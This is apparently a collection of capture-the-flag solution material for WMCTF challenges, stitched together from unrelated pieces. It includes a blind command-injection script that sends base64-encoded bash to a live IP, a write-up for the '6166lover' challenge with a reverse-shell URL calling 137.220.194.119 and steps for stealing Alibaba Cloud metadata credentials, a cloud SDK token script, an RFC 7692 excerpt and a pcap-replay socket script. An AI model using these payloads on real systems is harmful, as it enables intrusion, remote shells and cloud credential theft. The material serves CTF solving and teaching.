import requests
import base64
import urllib

small = [chr(i) for i in range(97,123)]
big = [chr(i) for i in range(65,91)]
num =[str(x) for x in range(0, 10)]
lista=small+big+num+['{','}',' ',"\n",'-','_']
data1="""VAR=`cat /tmp/dfsdef`;
if [[ "${{VAR:{}:1}}" = "{}" ]]; then
    sleep 2
else
    sleep 0
fi"""

print(lista)

b=0
while True:
    for a in lista:
        datab=data1.format(b,a)
        try:
            requests.post("http://1.13.254.132:8080/file",data="url=http://10.244.0.145:8080/?doAs=|echo${IFS}"+urllib.quote(base64.b64encode(datab.encode()))+"|base64${IFS}-d${IFS}|bash&Vcode=FPML", cookies={'JSESSIONID':'1F64EAF97095DA0736F5EE5B0F7CF20A'},headers={'Content-Type': 'application/x-www-form-urlencoded'}, timeout=1,verify=False)
        except:
            print(a)
            break
    b=b+1

[package]
name = "static-files"
version = "0.0.0"
workspace = "../"
edition = "2021"
publish = false

[dependencies]
rocket = "0.5.0-rc.2"
js-sandbox = "0.1.6"
cpython = "0.7.0"

dd if=/dev/sda1|grep -o -m 1 -a -E '(WMCTF)\{.*\}'

ls -ll /dev/
total 0
lrwxrwxrwx 1 root root   11 Aug 21 11:39 core -> /proc/kcore
lrwxrwxrwx 1 root root   13 Aug 21 11:39 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Aug 21 11:39 full
drwxrwxrwt 2 root root   40 Aug 19 18:39 mqueue
crw-rw-rw- 1 root root 1, 3 Aug 21 11:39 null
lrwxrwxrwx 1 root root    8 Aug 21 11:39 ptmx -> pts/ptmx
drwxr-xr-x 2 root root    0 Aug 21 11:39 pts
crw-rw-rw- 1 root root 1, 8 Aug 21 11:39 random
drwxrwxrwt 2 root root   40 Aug 19 18:39 shm
lrwxrwxrwx 1 root root   15 Aug 21 11:39 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Aug 21 11:39 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Aug 21 11:39 stdout -> /proc/self/fd/1
-rw-rw-rw- 1 root root    0 Aug 21 11:39 termination-log
crw-rw-rw- 1 root root 5, 0 Aug 21 11:39 tty
crw-rw-rw- 1 root root 1, 9 Aug 21 11:39 urandom
crw-rw-rw- 1 root root 1, 5 Aug 21 11:39 zero

WEB-6166lover:
1. Figure out that is a Rocket application and has Cargo.tml leaked.
2. Download it and find the application name "static-files" and download the binary.
3. Run it with debug mode or Write a example application by yourself to find out the route has been registered.
4. Figure out both of the debug route have done, one is js sandbox, the another one is python "sandbox". Just think them as a black box and test them.
5. Run python code to RCE.
6. ps -ef, You will find /flag has been deleted when the instance booted.
7. Use Alibabacloud metadata to get the host instance metadata, And a worker role on it. https://help.aliyun.com/document_detail/214777.html / /meta-data/ram/security-credentials/

8. Use metadata api to get the temp credentials. 
9. Use temp credentials to invoke api GetAuthorizationToken. https://help.aliyun.com/document_detail/72334.html
10. Pull image from alibabacloud image registry with username cr_temp_user  and authorizationToken as its password.
Image: registry.cn-hangzhou.aliyuncs.com/glzjin/6166lover

You may know these from the challenge domain, I have deployed in hangzhou of alibabacloud k8s service(ACK). And know the author name is glzjin, and the challenge name 6166lover.
11. After pull it, just run it with docker run -it registry.cn-hangzhou.aliyuncs.com/glzjin/6166lover bash, and you may get the flag on the image.

Thank you:)
Just get your reverse shell like that:
http://6166lover.cf8a086c34bdb47138be0b5d5b15b067a.cn-hangzhou.alicontainer.com:81/debug/wnihwi2h2i2j1no1_path_wj2mm?code=__import__('os').system('bash -c "bash -i >%26 /dev/tcp/137.220.194.119/2233 0>%261"')

And maybe you have to find out a way to fork your process that not jam this application because it's deployed on k8s with a health check.

#!/usr/bin/env python
#coding=utf-8

from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.request import CommonRequest
from aliyunsdkcore.auth.credentials import AccessKeyCredential
from aliyunsdkcore.auth.credentials import StsTokenCredential

credentials = StsTokenCredential('<your-access-key-id>', '<your-access-key-secret>', '<your-sts-token>')
client = AcsClient(region_id='cn-hangzhou', credential=credentials)

request = CommonRequest()
request.set_accept_format('json')
request.set_method('GET')
request.set_protocol_type('https') # https | http
request.set_domain('cr.cn-hangzhou.aliyuncs.com')
request.set_version('2016-06-07')

request.add_header('Content-Type', 'application/json')
request.set_uri_pattern('/tokens')


response = client.do_action_with_exception(request)

# python2:  print(response) 
print(str(response, encoding = 'utf-8'))

 A Message Compressed Using One Compressed DEFLATE Block

   Suppose that an endpoint sends a text message "Hello".  If the
   endpoint uses one compressed DEFLATE block (compressed with fixed
   Huffman code and the "BFINAL" bit not set) to compress the message,
   the endpoint obtains the compressed data to use for the message
   payload as follows.

   The endpoint compresses "Hello" into one compressed DEFLATE block and
   flushes the resulting data into a byte array using an empty DEFLATE
   block with no compression:

       0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00 0x00 0x00 0xff 0xff

   By stripping 0x00 0x00 0xff 0xff from the tail end, the endpoint gets
   the data to use for the message payload:

       0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00

   Suppose that the endpoint sends this compressed message without
   fragmentation.  The endpoint builds one frame by putting all of the
   compressed data in the payload data portion of the frame:

       0xc1 0x07 0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00

   The first 2 octets (0xc1 0x07) are the WebSocket frame header (FIN=1,
   RSV1=1, RSV2=0, RSV3=0, opcode=text, MASK=0, Payload length=7).  The
   following figure shows what value is set in each field of the
   WebSocket frame header.

        0                   1
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
       +-+-+-+-+-------+-+-------------+
       |F|R|R|R| opcode|M| Payload len |
       |I|S|S|S|       |A|             |
       |N|V|V|V|       |S|             |
       | |1|2|3|       |K|             |
       +-+-+-+-+-------+-+-------------+
       |1|1|0|0|   1   |0|      7      |
       +-+-+-+-+-------+-+-------------+






Yoshino                      Standards Track                   [Page 22]


RFC 7692          Compression Extensions for WebSocket     December 2015


   Suppose that the endpoint sends the compressed message with
   fragmentation.  The endpoint splits the compressed data into
   fragments and builds frames for each fragment.  For example, if the
   fragments are 3 and 4 octets, the first frame is:

       0x41 0x03 0xf2 0x48 0xcd

   and the second frame is:

       0x80 0x04 0xc9 0xc9 0x07 0x00

   Note that the RSV1 bit is set only on the first frame.

import socket
import binascii
import time
from flowcontainer.extractor import extract
result = extract(r"info.pcapng",filter='',extension=['tcp.payload'])
s = socket.socket()
host = '127.0.0.1'
port = 8088

for key in result:
	try:
		s = socket.socket()
		s.connect((host,port))#http升级ws首包
		s.send(binascii.unhexlify("474554202f6563686f20485454502f312e310d0a486f73743a203132372e302e302e313a383038380d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3130332e3029204765636b6f2f32303130303130312046697265666f782f3130332e300d0a4163636570743a202a2f2a0d0a4163636570742d4c616e67756167653a207a682d434e2c7a683b713d302e382c7a682d54573b713d302e372c7a682d484b3b713d302e352c656e2d55533b713d302e332c656e3b713d302e320d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174652c2062720d0a5365632d576562536f636b65742d56657273696f6e3a2031330d0a4f726967696e3a20687474703a2f2f3132372e302e302e313a383038380d0a5365632d576562536f636b65742d457874656e73696f6e733a207065726d6573736167652d6465666c6174650d0a5365632d576562536f636b65742d4b65793a204b624e4b6f59636a495367797a4c38553977536745513d3d0d0a444e543a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976652c20557067726164650d0a436f6f6b69653a2063737266746f6b656e3d70756d423538564e414c543964624567535450574956414a504d4259454e393152445578485063535367434e37477554386b5564636c334e477a78653567526e3b20636f6d2e776962752e636d2e77656261646d696e2e6c616e673d7a682d434e3b205f67613d4741312e312e313535373634333133362e313635383231343434340d0a5365632d46657463682d446573743a20776562736f636b65740d0a5365632d46657463682d4d6f64653a20776562736f636b65740d0a5365632d46657463682d536974653a2073616d652d6f726967696e0d0a507261676d613a206e6f2d63616368650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a557067726164653a20776562736f636b65740d0a0d0a"))
		s.recv(1024)#等待模拟服务器返回
		value = result[key]
		a=value.extension['tcp.payload']
		for c in a:
			s.send(binascii.unhexlify(c[0]))
			pass
	except:
		continue
	s.close()
#